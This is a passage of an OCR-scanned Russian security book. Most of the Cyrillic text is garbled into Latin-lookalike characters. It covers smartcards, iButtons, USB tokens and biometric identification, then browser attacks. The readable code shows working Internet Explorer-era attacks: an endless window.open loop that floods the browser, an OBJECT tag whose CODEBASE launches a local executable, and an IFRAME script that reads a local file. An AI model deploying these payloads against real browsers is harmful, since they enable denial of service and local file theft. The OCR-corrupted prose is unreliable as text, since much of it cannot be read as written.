TE XPaHATCS HCOOXOAMMEIE KITIOYH.,

Ho cmaprxapte He numennt memoctatkos. Ilepeeiii — mx
OYEHB JIErKO NOTEPATH. ITC HE OUEHDb ONACHO, TAK KAK GONBIIMHCTBO
CMapTKAPT NMPH YCTAHOBKE B KAPTOBOJ BCEC PABHO 3ApPOCAT HAPONb
WJIH IIMH-KOJ, K TOMY )X€ IOTEPSAHHAS CMAapTKApTa MOXET OBITH 3a-
GI0KHpOBaHa B HACTPOHKAX NPOrpaMMH, HO BCE PABHO HETIPHATHO.
Bropoii nenocratox — moporosusna. Bexs kpome cmaprxapr Heo6-
XOAUMO 3aKyMHTh KAPTOBOALI HA KKABIH 3AIMHINACMBI KOMOBIOTED,
2 OHM CTOAT 3HAYHTEIBHO JOPOXKE.

3aTo cama kapra — CaMoe JEmeBoe YCTPO#CTBO M3 TOKEHOB.
[losToMy KapTH! IMPOKO HCTIOB3YIOTCA B TEX CRYHasX, KOra Kap-
TOBOJ OIMH, & NOB30BATENEH MHOro. B KpymHBIX 3anafHbIX xOpIO-
PammisIX CMapTKapTHl YCIEUIHO HCIIOMb3YIOTCA HE TONBKO st paGoTel
€ KOMIBIOTEPAMM, HO H I IPOXOAA B 3XAHUE U KOMHATbI.

K senocratkaM cMaprkapr Taioke MOKHO OTHECTH BO3MOX-
HOCTb II€pEXBATa KOAOB M HH(MOPMALMH IPH CIMTHIBAHMM, HO 3TOrO
MOXHO H36€XaTh, HCTIONB3YS TE XE MEPH! MPEFOCTOPOKHOCTH, YTO H
UPH HCIO/L30BAHHH OOBIHBIX GAHKOBCKHX KapT.

Lugppoevie knonku (iButton) — npexcrasmsmor coboii Gpenox,
noxoxui Ha Gonbmyro Garapeiiky or yacos. [logo6Hs1e Gpemxu wc-
NOJB3YIOTCA B GOBIMMHCTBE MOCKOBCKHX AOMO(OHOB.

OCHOBHOE TIPOCTPAaHCTBO BHYTPH METALTHYECKOTO KODIyCa
JAHMMACT CHICHHANbHAs MUKpPOcxema. B mpoctefimuem cimydae MUKpo-
CX€Ma HMECT TONBKO MOCTOSHHYIO NaMiTh, B KOTOPYIO 3aIHCaHA
cnyxelbnas undopmaims. Bonee cnoximie MHKPOCXEMBI OCHAIMAIOT-
Cd €mE U OnepaTHBHON mamsTsio. Kax W cMaprkapT, BHAOB mudpo-
BHIX KHOTIOK OYEHb MHOI'O: CYIIECTBYIOT MOACIM C KPHIITOIPOLECCO-

PaMH, IAMATHIO )19 XPAaHCHHA CEPTH(UKATOB, MAMNTHIO JUIS 3aMUCH
10/I30BATEALCKHX JAHHBIX H AP.
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Kax u cMapTkapTam, IM(pOBEIM KHONKAM HYXHO YCTPOHCTBO
qurt cuuthiBanpa (Touch Probe) u cnenuansHoe nporpaMMHoe obec-
TICYCHUC.

OcHOBHOE IPEHMYIIECTRO MPHMEHEHUS IE(POBLIX KHOIOK —
KX HANCKHOCTD H AONTOBeYHOCTh. CTalbHON KOPIYC 3auMMINAcT
«HAYHHKY» HE TONBKO OT YAAPOB M MAJCHHIA, HO ¥ OT HArpeBa, nepe-
OXJTKACHUSA, NANCHHUA B BOAY, ICKTPOMATHUTHBIX U ITPOYMX MONCH.
Tocneanee 0COGCHHO aKTyalbHO — LM(POBBIC KHONKH MOryT BHI-
JHBATh AAKE TOCIE aTOMHOINO B3PHIBA, KOrjAa BCE OCTAJIBHOE BJICK-
TpoHHOE 000pyAoBaHKEe 0e3kKanoCTHO H B OONBHIMHCTBE CIyd4acs
6ecrioBopoTHO BRiropaer. KoHeuHo, npH ycnoBHH, 410 «Openok» mpa
9TOM He OyZeT HaXOMUTECA B SMULECHTPE AAESPHOTO B3PHIBA WX B €0
Omoxalimux  OKpecTHOCTSX. [lO3TOMY KOMITBIOTCPHEIE CHCTEMEL,
CHapsUKSHHKIE 3aIMTOl iButton, MOKHO Haine 0OHapYKHTH HA BOCH-
HeIx 6a3ax, yeM B oHcax KOMMEPUECKUX KOMIaHVI.

HenocraTtku — Taxue xe, kak y cMaptkapr. Ho tepsaiorcs Ha-
MHOTO PEKE, TaK KaK OOBIYHO HAXONATCS HA OAHOW CBA3KE C KINOYa-
MM M IPY TAJCHHH MMH 3BCHAT, a TIOTOMY NPAKTHYECKH HUKOTJA HE
narotT o cebe 3abbiTh. OgHako crosT IM(POBBIE KHONKH AOPONKE
CMapTKapT, IPHYEM OCHOBHAA Pa3HALA MPUXOJWTCS HMEHHO Ha 6110-
xu caureiBanus: Touch Probe B qBa-Tpu pasa mopoxe xaprosoaa.

USB-moxenvi — HOBOE BEAHUEC B CHCTEMAaX KOHTPOIHMPYEMOTO
OrpaHHMYEHMA AOCTYNA, ABIAIOUICECs ATbTCPHATHBOH CMaprKapTaM H
wapoBsiM KeOMKaM. [IoToMY Kax Afis MPHMEHCHHA STHX yCTpoMCTB
HE HYXHO HHMKaKMX puacpos. Bemap ocHOBHas xons 3aTpar npu Ho-
KYTIKE CMapTKapT ¥ MU(POBHIX KHOMOK NPHXOAMTCH MMCHHO HA yCT-
policTa yrenusa uHbopmanmn — puaepsl. USB-TokeH A0cTaToqwHO
npocto Bcrasuth B USB-nopT xommerorepa.

Buemre USB-rokenn HanommHuaor (uom-amcku. Tor xe
pazbeM uHTEpdeEkica, Ta xke Popma, Ta KE KpHIIEIKa (MHOTAA, BIOPO-
4eM, KPHIIIEYKa OTCYTCTBYET). Yaine Bcero MMEETCs OTBEPCTHE, KyJa
MOJKHO HPOAETh KONEeUKO s kntodeif. Tak uro, npu nanenun, USB-
TOKEHBI TAKIKE 3BCHAT KIIIOYAMH.

Ilo ¢ynxumonambuwiM Bo3MoxHOCTSM USB-TOKEHR! MpeBoc-
XOJAT CMAPTKAPTH M 1udpoBLic KHOMKH, Gnarogaps Gonce ckOpocT-
Homy uHTep(eiicy, OonbmeMy BHYTpEHHeMY OOBEMY H HATHIHIO
dmm-mamsa. Ho cymecTByoT M HpocThie MOJEH.
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Kak u npu ncnons3osanuy cMapTiapT u mudpoBRIX KHOTOK,
nocne ycranosku USB-tokena, nmonp3oBatens AomkeH Habpars ma-
PONb MK ITHH-KOZA, MOATBEPAAAIOMMI €ro nmpasa. 310 — TaK Hazbi-
BaCMas CHCTEMA «ABYX(aKTOPHOIH ayTeHRTH(HKAIMHE OI30BATENN».

Cymecrsyior USB-Tokenn ¢ «rpexdaxropHoit ayTeHTH}HKA-
uueii». B xauecTse TpeThero AOKa3KBAIOMEro MMYHOCTD MOJIB30BA-
Tend GAKTOpa MCHOMb3yeTCs BCTPOSHHBIH CKAHED ANS CUMTHIBAHMA
ornevarka nanbua. To ects, kpome ycranosku USB-Tokena B opr
BBOAQ Napons (INHH-KOAA), HAIO CHIE NPHIIOKUTH K HEMY TAlleN, Jyis
npoBeACHA GHOMETPHIECKOM HAeHTHHKAIHY.

Bbuomempuyeckas aymenmugpuxayus — camas moaHas Ha ce-
TOAHANIHME JCHb M3 BCEX CYMIECTBYIOIMX CHCTEM OIpaHMYEHHS
Aocryna. Bu me pas supenu dumemm, rae mepconaxm nomsayrorcs
CKaHEpaMM OTMEYATKOB NANbLEB (CTaphic GHIbMbI) MM CKAaHEpaMK
puCyHKa CETHaTkH I1a3a (COBpPeMEHHHC (QMIbMBI) A MpoOnycka
NEPCOHAIIA B NOMELICHHS.

Cpencrsa Guomerprraeckoii maenTHdHKaME PaGOTAIOT HA OC-
HOBC CPaBHCHMS HEKOTOPBIX YHHKAIBHBIX (DHIMYECKMX NAHHHX te-
nosexa ¢ o0pasamu, XpaHsummucs B 6ase. O6buEO 11 uaeaTadu-

KaIHH KCTIONB3YIOT CICAYIOMHAE YHUKAIBHEIE NAPAMETPHI YE0BEKA:
— OTIICYATKH NAJIBIEB;

— ¢opma xucru;

~ PHCYHOK CETIATKH IJ1a34;

— PHCYHOK paxyxHOH 060109KH riasa;
— dopma nuua;

— PYKOMHCHREI NOYCpPK;

—~ KIJIQBHATYPHBIH ITO4EpK;

— roIoc.

Merogu Guomerprraeckoil maenTHOMKALMH TalOKe HPHHATO
ACTATH HA:

— CTaTHYCCKHE METOALI — OCHOBAHH HA YHHKAILHON (u3uo-
JIOr¥ECKON XapaKTEPHCTHKE JENOBEKA, JAHHON €My OT POXKICHHSA U
HCOTBEMIIEMOI OT HeEro;

- AHHAMHYCCKHC METOABI — OCHOBaHLI HA IIOBEACHYCCKOH
XapPAKTEPUCTHKE YEIIOBEKA, XapaKTCPHHX IIOACO3HATCILHEIX ABHOKC-
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HHSX B HPOLIECCE BOCTIPOM3BEACHHS KAKOro-mubo AeicTys (Tommi-
CH, PevH, JHHAMHKe KIaBUaTypHOro Habopa).

Pacnioznasadye N0 OTIHEYATKAM NAIBIES. ITO — CAMbIH pac-
OPOCTPAHEHHKIH CTATHUSCKHA Merol OuoMeTrpudeckoi HaeHTU(H-
KAIlMH, B OCHOBE KOTOPOTO JIEXKHT YHHUKAJBLHEIH AN KajKAOTO Yelo-
BCKa PHCYHOK MANMUISPHBIX JMHUA HA DANBLHAX. YCTPOHCTB TakKHMX
cymectsyer xsa Buaa. Ilepeoe — Gosnee npocToit — MpUIOKEHHBIH
nanel| 3aMBIKacT CCHCOPHBIH KOHTAKT, CHCTEMa BKIIIOYACT ONTHYC-
CKHil CKaHep, KOTOpHIE Brifenger Oonee ceeTnbie H Gonee TeMHbIe
JIMHHM PHCYHKA. 3areM xapruHka mpeobpasyercs B mmudpoBoil xog,
KOTOPHII CPaBHHBACTCH € STAJOHHBIM (IUGO C HECKONBLKHAMH 3TANO-
HaMH, 6C/I¥ AaBTOPH30BAHHEIX NOL30BATEIEH HECKOIBKO).

OcHoBHO#t 3TOro cmocoba HEAOCTATOK 3aKIIOYAETCA B TOM,
9TO CKAHMPYIOIas CHCTEMa — OIFFHYeCKas. Ee MOXKHO JOBOJBLHO
npocto odmanyts. EcTh mpemaparsl, mposBAAIOIMHE YXKE CYIIECT-
BYIOIHii HA CKAHEpEe OTIEYATOK MANBI@A, TAK YTO OCTAETCI TOMBKO
TIPMJIOXKHTD CBEPXY Nanell B TOHKO Xupyprideckor nepuarke. Ectb
H JpyrHe MeToasl o0MaHa ONTHYECKOro CKaHepa, JOCTATOYHO
BcnomuuTh prmeMer npo JHeiMca Boraa n apyrix mmuoHoB.

Yacts npobiieM pemaer BTOpPOH, CymecTBeHHO 6omnee aoporoii
H TEXHOJIOTHYECKH CIIOKHBIH BHA CKaHMpPyomux cucreM. Oxu npen-
cTaBIMOT coDOH CIOXHBIN TIONMYNMPOBOAHMKOBHIM mnpubop, 3ame-
PATOmW SNEKTPHICCKII TOTEHIHMA HOPMATBHOIO JKHBOTO YEI0BEKA
H TOUCIHBIC PA3HOCTH NOTCHIHANOB, 00pa3yIOmMXCA MEXKAY MATIII-
napHbeMH TuHuAMU. OOmas xapTuHa, CKIAAHIBAIOMAACT U3 MHOIO-
YHCICHHBIX TOYEYHBIX 3aMEpoB, mpeoOpasyercs B uubpoBoii KoA.
ITH CHCTEMBI Helb3% 0OMaHyTh C IIOMOMIBIO CTAHAAPTHHIX «IIIHOH-
CKHX» yoBOK. Jlaxe marnern OrIymeHHOro HTH ONIOCHHOrO YenoBeKa
MOJKET HE CpaboTarh — TaKk KaK 3NICKTPUMECKUI moreHiman byaer
OTIMYATBCA.

Pacnoanasauue 1o popme pyky. Janbsiiil CraTH4ECKH METOA
MOCTPOSH HA PACHO3HABAHWH TEOMCTPMH KHMCTH PYKH, TAKKE SB-
JSIOIEHcs YHHKANBHONH OHOMETPHIECKOH XapaKTEPHUCTHKOMH delno-
Beka. C NOMOmBIO CHEMMANLHOrO YCTPOHCTBA, NO3BOJBIIOMEro 10-
Jy4arb TPEXMEPHHIH 0Dpa3 KHCTH PyKH, IOTYJalOTCs M3MCPEHHS,
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HEOOXOMMEIE U1l TIOMYUCHHS YHUKANBHOTO LU(pPOBOro KOJA, HICH-
THGMIMPYIOWEro YenoBeKa.

Pacnozuasanue no pPanyXHOM obonouke rimaza wm CETHIATKE

r1az. JTOT METOA PACTiO3HABAHMS OCHOBAH HA YHHKAIBHOCTH PH-
CYHKOB pajtyHOH 0060NOYKH M ceTyarku rmasa. Jlus peamisapmm
METONa HEOOXOAUMA KAMEPA, TIO3BOIIOMAA NOXYIHTb u300paxeHue
Tl232 ¥ENOBCKa € AOCTATOYHBIM Pa3PELICHUCM, U CHICLHAH3HPOBAH-
HOS POrPaMMHOE OGCCIICICHNE, NO3BOISIONMEE BHIEIATS U3 TOMy-
YEHHOTO H300PAKEHUS PUCYHOK CETHATKH HIIH DAy KHOH 0B60/I0uKH,
0 koTOpoMy ompegenscTcs uMQpoBOH KOA WA MaeHTH}HKALMHA
YCJIIOBCKA.

CroumocTs cxanepoB ceTuaTicn MM paKyKHO#H OGONOUKH I1a-
32 CYINSCTBCHHC NPEBOCXOAUT CTOMMOCTS CKAHEPOB OTICYATKOB
nanenes. XoTs Ha PHIHKE BCTPEYAIOTCS MOZETH CTOMMOCTHIO 400
500 aonnapos, co3mars Ha MX OCHOBE HaACXKHYIO CHCTEMY MACHTH-
(ukauuH He NOTYYHTHCH M3-33 BHICOKON BCPOATHOCTH OLIHOOK M
Mo yHKUHOHANBHOTO MPOrPaMMHOTO 0BECIEUEHN.

Pacnosrasanme no dbopme muna. fannnii cratmaeckuit METOZ,
MACHTHOUKAUMH 32KTI0YASTCS B HOCTPOCHHH ABYX- WK TPEXMEPHO-
ro obpasa A venosexa. Ha casTom ¢ Kamepoit n3obpaxenun v ¢
TIOMOIIEI0 CHCIHANTH3NPOBAHHOIO MPOIPAMMHOTO OOECTICYEHHS Bbi-
ACTIAIOTCS KOHTYPHl Gposeit, rnas, Hoca, ry6 M T. &., BHUHCINOTCH
PACCTOAHHMA MEKAY HHMHM, T€OMETPHYECKHE PA3MEPH H ApYrHe ma-
PaMCTPHI, B 3aBHCHMOCTH OT MCHOJIb3YEMOro amroputMa. I1o srem

AAHHBIM CTPOMTCH 00pas, npeobpasyeMetii B mupposyio dopmy s
CPaBHCHHS.

Pacniosnasasme o pykonmcromy nouepky. Kax NIPABHIIO, AN

JTOr0 JHHAMWIECKOTO METOAA HASHTH(HKAIMHE 9YEIOBEKA HCTIONb3Y-
CTCA €r0 MOMIMCH (MHOIAA HAIUCAHHE KOXOBOIO ciosa). ITudposoit
KOA HACHTHQHKAIMH QOPMHUPYETCA 10 AHHAMMUECKHM XapaxTepH-
CTHKAM HANMCAHUs: rpadUuecKHe mapameTpsl NOAIUCH, BpPEMEHHEIE
XapaKTCPHCTHKH HAHECCHMA TMOITHCH W AMHAMMKA HAKHMMA HA IO~
ucpxHoCTh. JlIs peamusammm 3T0r0 MeTOa, Kpome TIPOrpaMMHOIO

obccneaenud, notpebyerca CCHCODHBIA 3KpaH WM rpadruccKuii
IUTAHITIET.,
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Pacnosnasanue no KIaBHATYPHOMY HOYCPKY. Merox B uenom

aHaNOrMdeH BHIUICOMMCAHHOMY, OJHAKO BMECTO MOMMHCH B HEM HC-
NONB3YETCS HEKOE KOAOBOE CNOBC, a M3 obopymoBauus Tpedyercs
TONBKO CTaHjapTHas knauartypa. OCHOBHAas XapakTepHCTHKA, NO
KOTOpPOii CTpoMTCH CBEPTKAa M uacHTHdHKaIMK — NMHAMHKA Ha-
fopa KoZOBOro CNOBA.

PacnossaBaupe mo romocy. B Hacrosmee Bpems pa3BuTHC
3TOH OZHOM M3 CTApCHIHX TEXHONOrHH YCKOPHIOCh, TaK KaK IPCA-
TIONAraeTcA €€ IIMPOKOE HCTIONB30BAHHE NMPH COOPYXCHHH HHTEINI-
NEKTyanbHbIX 3AaHuit. CymecTByeT AOCTaTOMHO MHOIO METOIOB
HACHTH(HKAIMH 10 TONOCY, KaK MPABUIIO, OHM OCHOBAHLI HA AHANM3C
HACTOTHBIX M CTATHCTHICCKHX XaPAKTEPUCTHK rON0Ca.

U xors maneny wim ria3 K CucreMe OHOMETpHYECKOl HIACHTH-
¢buxaupn Npuaaralorcs OGECIUIaTHO, CKaHEPhi, HCIOIb3YEMBIC B IIPO-
HeCCe HACHTHHMKAIMK, H CICIMAIBHOE IIPOrpaMMHOE 00cCIICacHEE
ACHAIOT GHOMETPHYCCKHE MCTOAH 3HAYMTENBHO JOPOXKE METOIOB
uACHTHDHKANMH C UCIIONb30BAHNEM TOKEHOB.

HanGonee aemessiit MeTox GuoMeTpraccKkoii uACHTHHUKAMHI
— M0 KIABHATYPHOMY IIOYEPKY — ABJISCTCH HaMMEHES PacIIpocTpa-
HCHHBIM, Ha HErO MPUXOAuTC MeHee 1% U3 YCTaHOBIEHHBIX CHCTEM
6uomeTprdeckoii wacHTHuKkapm. CaMBIM PacIIpOCTPAHCHHBIM Me-
TOJOM SBNACTCA HCHOJB30OBAHUC CKAHCPOB OTICYATKOB NANBLEB —
nopagka S0% yCTaHOBNCHHBIX CHCTCM.

KoMmnuiekcHoe MpUMEHEHHE ITHX MEP WIH MX YacTH MO3BOIMAT
CYIICCTBEHHO YCIIOXKHMTD NOTY4eHHE HHGOPMALMH C 3aMHINCHHOTO
KxoMIbIOTEpa. IIpH 3TOM ClERYET NOMHUTH, YTO CTOHMOCTD CHCTEMBI
3AMATH HE AO/DKHA NPEBHINATE CTOHMOCTD 3amumacmoi Headopma-
MM, a TaloKe TO, YTO MOINHAS IApONbHAA 3aIHUTA ONCPAUMOHHOMN
CHCTEMBI MOXeT OrITh HECIIONE3HOM NPH 3arpy3ke ¢ CHCTEMHOMH JuC-
KETHl — Beapb 3a00p, NOCTABACHHKH TONBKO C OAHOM CTOPOHKI AOMA,
HH KaK HE MEMAaecT NOAOHTH K JOMY C APYro¥ CTOpPOHH. Taioke Helb-
3s 3a0nBaTs 00 yROOCTBE paborel noxe3osareneii. Ilpu yenoxHeHHM
CHCTEMBI 3ALIUTH PAHO WIH MO3THO HACTYIACT Takad CHTyamus, Ko-
raa aobaBieHme OdYepeAHOro 6aphepa HE3HAUMTENHHO YCHOMKHACT
paboTy B3TOMINMKA, HO CEPHE3HO 3aTPYAHAET AOCTYN MOJIb30OBATC-
TAM.
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I'JIABA 3.
Cerennie araxu. Araxn na 6payiepsr u cafiTnr

Kax ussectno, Mnreprer npeacrasnser coboit 06beqHHEHHE
MHOMECTBA CCTEH, COCTOAMMX U3 CEPBEPOB M KIMEHTOB, B3AUMOICH-
CTBYIOIMX MEXAY COOOM.

— Knuentht — 510 mpuxnammmie nporpammes, npegmazma-
“CHHBIC JUIS YCTAHOBJICHHS COC/IHHCHHA C KOMIBIOTEPAMH CETH C
GETBIO MONYYCHUS HyXCHOH MH(OpMamy.

— CepBepb! — 310 IPHKIAHBIE IPOrPAMMEL, TIPEAHAZHAYCH-
HBIC U151 YCTAHOBJICHHA CBS3H C KIIMCHTAMH, IIOTYIEHHS OT KIMEHTOB
3aMpOCOB M OTIIPABKH OTBETOB.

O6brHG NPOrpaMMbl-CEpBEph $YHKIHOHHPYIOT Ha MOIIHBIX
KOMIIBIOTEPAX, COCAMHEHHBIX APYT C APYIOM MArMCTPAIbHBIMHA JIH-
HUAMH CBA3H ¢ HOBINOH MPOMYCKHOM CHOCOOHOCTRIO.

TlporpamMmel-KTHEHTH  QYHKIHMOHMPYIOT, KaK NPaBUNO, Ha
CPaBHATCIIPHO MCHEEC MOIHBIX KOMIIBIOTEPAX, NMOACOSIMHEHHBIX K
CepBEpaM C NOMOWIBIO 3HAYHTENLHO MEHee ObICTpoAeHcTBYIONMX
NUHMIA CBS3M (HATPHMEP, TeNeOHHBIX THHMI).

Cepseps ynpasisior aocTyniom x HHGOPMALHMOHHEM pecyp-
cam Hureprera, pykoBOACTBYSCH 3aMPOCAMH KIHEHTOB. Pecypcom
MoxeT GbiTh 0G0l 06BexT, copepxamuit HuQOpMAITIO — JOKy-
MEHT, PHCYHOK — MM CITy»K0a.

Ocnosa ofbwmenns 8 Uareprere s3nik HTML.

Sak HTML — 310 cpencrso cosnanms crpanuy Murepuera,
OCHOBHAs ()YHKIHES KOTOPOTO COCTOMT B (hJOPMATHPOBAHUH TEKCTO-
BOr0 COACPKHMOrO CTPAHMLEI, BCTABKH B TEKCT rpaddiH, MyIbTH-
MEIMHHON WHOOPMAIEM, HANPHMED, 3BYKa, PA3IMIHBIX HHTEPaX-
THBHBIX 37IEMCHTOB TaKWX, KAK CIFICKY, KHOIKH W, HAKOHEL, CLICHA-
pues. Taxum o6pasom, ¢ nomomeio a3sika HTML 0BsYHS TeKCTO-
BbIH JJOKYMEHT MOXKHO NPEBPATHTL B HACTOAINYIO IIPOTPamMMy, KOTO-
pas. ucmomusercs  Beb-Opay3epamm, wame Bcero, Internet
Explorer (IE). :

Crenosatensho, ecimm Be6-cTpanuna — 310 nporpaMma, To
Kpaxep HMECT BO3MOXHOCTE 3acTaButh Koj HTML Be6-crpanmim
ACIATH TO, 9TO €EMY HYXKHO, a HE TO, I 4yero a3k HTML, cober-
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BCHHO, NPEAHA3HAYEH — BOCIPOH3BCACHHUS MH(POPMAIMOHHBIX pe-
CYpPCOB, XpaHMIIHUXCS Ha cepsepax UnTepHeTa.

PaccMoTpuM HEKOTOpHIE B3 BapuaHTH aTak Ha BeG-Opaysepst
nocpeacrsom HTML xopa.

1. l'enepauus auanoros.
Ilo cyrn, 310 aTaka Ha OTKa3 B OOCTYKUBaHWUH, BRIMONHIEMAN

Ha KOMITBIOTEPE KIIHEHTA, BKIIOYUCHUEM B BEO-CTpaHuMIly POCTEHIIMX
CHIICHapUeB. JTH CLEHAPUM MOryT OECKOHEYHO TEHEPHPOBATh BCE
HOBHIC M HOBBIC CTPaHHIILI, KOTOpHiE Gpay3ep Oyaer orobpaxars Ha
9KpaHe, NOKA HE NEPEOIHUT MAMATH KOMITHIOTEPA MIIH HE NPHBEAET
K €r0 3aBHCAHMIO.

Ilpome Bcero 3Ty araKy MOXXHO BHIIOJHHTE C MOMOIIBIO KO-
MaHJH Open, KoTopas B OSCKOHETHOM LHUKIIE CHeHapus JavaScript Ha
crpannue test.html Gyayr orobpakars 3Ty ke cCTpaHHLY JO IEpe-
TIONHEHHS TaMATH, KaK 3T0 C/ICIaHOo B npuBeAcHHOM koae HTML.

<HTML>
<SCRIPT LANGUAGE="JavaScript">
generation();
function generation()
{

var d=0;

while (true)

{

a = new Date;

d = a.getMilliseconds();

window.open("test.html",d,"width=250, height=250");

}
}
</SCRIPT>
</HTML>

BocnpoussencHue takoro kofa GpaysepaMu mpHBEAET K CTO-
TIPOLEHTHO# 3arpy3ke IPOLIECCOPa U 3ANONHEHUIO IKPaHA ITyCTHIMHU
JEanoraMu (CM. CKPHHIIOTHI HA PHCYHKE 3, NMPHBEJSHHOM HAa Cle-
JIYIOOIEH CTPaHHUIIE).
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Omin w lu Oxva  Samopusmesie pafioms  Crpoexa

Toouecas i Come

-

£ Ytost1 - Mcrosot Snbemet Explorer
$ Yeost1 - Microsot Intuenak Explorer
oent] - Micro:

saft Intoenet Explorer
soft

ast] - Microsoft Inkenat Explorer

Jtest1 - Microsaft tnkernet Explorer
§u11 - Mcrosolt Intemet Expiorer

o Bapreoun

Xoomsercran Sarpira L

Beero

Evwiocnen remets (KE)

©9i2 o szl
fgvoxon M feye Birs
pousccos: ko Craminst Ko 146200 N
[ 146634 Boaro E o
peaen 1200472 Borpymaonan 2016 [
e 1539%

Hoowrpyxasun e

100%

1M/ 6

Puc. 3. Pesynerar ataxu « eHepaiys JUATOIOB.
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CoBpemeHHbIE KOMIIBIOTEPE! OT TaKOM aTaku cpasy HE 3aBHC-
HyT, HO aTaka Ha OTKa3 B OOCIyXWBAHHM BCE PAaBHO OCTAETCA YC-
HEIHOH. ITO CBA3aHO ¢ TeM (HaKTOM, YTO MOMBITKA CHsTUS Opay3epa
C BBITIOJTHEHUS TTPUBEAET K 3aKPHITHIO BCEX AKTUBHBIX CTpaHML Opay-
3epa, U MOJb30BATENIO, BO3MOXHO, NPUAECTCS HCKATh MX 3aHOBO.

OddexTusHeiM cpeacrBom GopbOBl ¢ Takoi aTakoi ABIAETCH
YCTaHOBKA MPOrpaMM-GIIOKHPATOPOB BCILTBIBAIOUMX OKOH WJIM aKTH-
Baims (GyHKupM GIOKMPOBAHMS BCIUTHIBAIOIIMX OKOH B Opaysepe
(ecnu OH 3Ty (PYHKIMIO IOAAEPIKUBACT).

2. Nepenonuenue Gydepa.

OavH M3 caMBIX CTapblX METOAOB aTaK, HE TOJBKO CTABLIMIA
KJIACCUYECKHM, HO H IO CEH JCHb SABJLIOMMIACS OCHOBHEIM METOAOM
IKCILIyaTallMd MHOTHX YS3BHMOCTEH.

OH ocHOBaH Ha TOM, YTO €CIM NPOrpaMMa 3arpaImMBacT y
MONB30BATENs Kakue-TubO maHHBIE, TO B mporpamme 00A3aTEIBHO
Oyaer mporeaypa o6paborku 3Tux AaHHeX. JIoKanbHbIE mepeMeH-
HBIE, UCTIONB3yEMBIE B IPOLEAYPAX, OOBIYHO XPAHATCH KOMITHIATO-
POM B CTEKE, KyJia UyTh PAHBIIC HM XKE MOMEINACTCA aJpec BO3BpaTa.
Ilpu yacTro mcronb3yeMoO# peanu3alyH CTEKA, KOrZJA OH «pacTeT»
BHH3, OKa3bIBACTCH, YTO aJpec BO3BpaTa B NPOLEAYPY HAXOAUTCSH
«aanbme» (TO eCTh UMEET B CTEKE OOoNbumuMil aapec), YeM JOKAIbHEIE
nepemeHnbie. To ecTh, aApPeC BO3BpaTa HAXOAUTCA HE TONBKO B OJ-
HOM CEIMEHTE C JIOKAIbHBIMH IIEPEMEHHBIMH, HO U MMeeT GOJIbImHii
agpec. Toraa, mepesaB B Ka4eCTBE JAHHBIX CTPOKY, HMEIOIIYIO 3aBe-
AoMo OonbIuii pasmep, 4eM Qs HEe OTBEACHO B IPOLEAYPE, Mbi
CMOXEM H3MEHHUTD TE€ AAHHBIC, KOTOPHIC JIEKAT B IIAMATH BBIIIE STOH
nepeMeHHoit. B Tom umcne, moMenaTh agpec Bo3Bpara U A00aBHTH
HYHBIC CTPOKH KOAA JUIA YAAJIEHHOIO UCTIOMHECHHS.

Taioke oTMeTHM, 3Ty aTaKy MOXHO IIPUMEHATh M I OpraHu-
3anMH aTakd Ha oTka3 B obOcmyxwuBanuu. JlocTarouHo mepeaaTsh
JUIHHHYIO CTPOKY CO CIIy4aiHBIM COAEPIKUMBIM, YTOOBI MPOH3OLICIT
BO3BPAT II0 CIy4alHOMY aJpecy, KOTOPbI BBI3OBET aBapHHHBIN OC-
TAHOB ITPOTPaMMBI HJTH BCCI OTEPALIMOHHON CHCTEMBI.

3. 3anyck nporpamm u3 xoaa HTML.
CymecTByer MeTo 3amycka JIOObIX JIOKAIBHBIX IIPOTrPaMM C
nomompio koxa HTML, cogepxamero Ter <OBJECT> ¢ HenyneBbiM
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sHagerneM uaeHTAdukaropa CLSID. Pacemorpum kog HTML, pea-
JM3YIOIAH YKAa3aHHYIO BO3MOXHOCTb.

<HTML>
<OBJECT
()00000000000'
CODEBASE="c:\windows\system32\calc.exe’>
</OBJECT>
</HTML>

CLASSID="CLSID:10000000-0000-0000-0000-

Pesymbrar BhmonneHHs 3TOrO KOA2 MOXKHO BHJETh HA BEPX-
HCM CKPHHINOTE PUCYHKA 4.

B naunom crywae Geira sanymena nmporpamma Kamexynsrop
13 mamar C:\Windows\system32\calc.exe', ognaxo muero ne mema-

CT B3NOMINMKY 3amyCTMTh MOOYI0 OPYTyI0 Iporpammy, FJaBHOE
$HATh €€ TOYHOE PACHIOIOKCHHE.

Ommaxo COBpeMEHHbIE aHTHBHPYCHI CIOCOGHE! OGHAPYKHBATH
n tene HTML ¢aiina Taxoif koA ¥ npensTcTByIoT ero sanycky. Pa-
1YMECTCA, €CIH AaHTHBHPYC YCTAHOBJICH H 3aNyIIEH B PEXHME MOHH-
ropunra. Peaxipa awrusupyca Kaspersky Antiviral Toolkit Pro sep-
¢HY 3.5 npeACTaBlicHa HA HIDKHEM CKPHHIIOTE PHCYHKA 4.

4. CK MpOorpamMMm ¢ MOMOMmb0 GpeiiMoB.

Cucrema samurar Web-Gpaysepos noctpoena Taxim o6pasom,
o0t cuesapmu JavaScript, momemaemeic 8 HTML-xon Web-
CIPaHHL, HE HMEJH A0CTyna K JIOKANLHOH (aiinoBoit cucTreme KoM-
ustorepa. Onnaxo B Gpaysepax IE mmeerca masefixa, CBS3aHHas ¢
terom IFRAME, npenmasHaueHHBIM Jis BHEApDEHHs B Tekct Web-
crpadHIpl Hebonbmmx ¢peiiMos.

Pacemorpam xox HTML, nossomuomuii cuenapuio npoyects
(haiin, xpaHAUTHIICA B KOPHEBOM KATAJIOTE KIHEHTCKOTO KOMTIBIOTEpA
(“\security.txt,

<HTML>

<BODY>

Yrenue daitna C:\security.txt <BR>

! Cranmaprunit myms 8 Windows XP. B Windows 2000 oH BEISUIAT Kak
<\winnt\system32\calc.exe, B Windows 9x — c:\windows\calc.exe.
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Puc. 4. PesymbTar aTaxu «3aryck mporpaMM u3s koa HTML».

<IFRAME id=I1></IFRAME>

<SCRIPT event=NavigateComplete2(b) for=I1

alert("Bam ¢aiin conepxur Takue cBeaeHus\n"+
+b.document.body.innerText);

</SCRIPT>

<SCRIPT>

I1.navigate("file://c:/Security.txt") ;

setTimeout('I1.navigate("file://c:/Security.txt")',1000);

</SCRIPT>

</BODY>

</HTML>

Kak Buano Ha pucyHke 5, coxepxumoe (aiina security.txt —
crpoka «Hekoropas BaxkHas HMH(popMauma» — 0roOpaswiocs BO
(peiiMe BHYTpH BeG-cTrpanuipi. Takum 00pa3oM, NONYYHB AOCTYN K
nokanpHOM GaiinoBoil cHCTEME, MOXKHO IOAYMATE M O JAJIbHEHIMEH
pabore ¢ ee pecypcamu. Tak, cueHapum JavaScript no3BoJISIOT BHI-
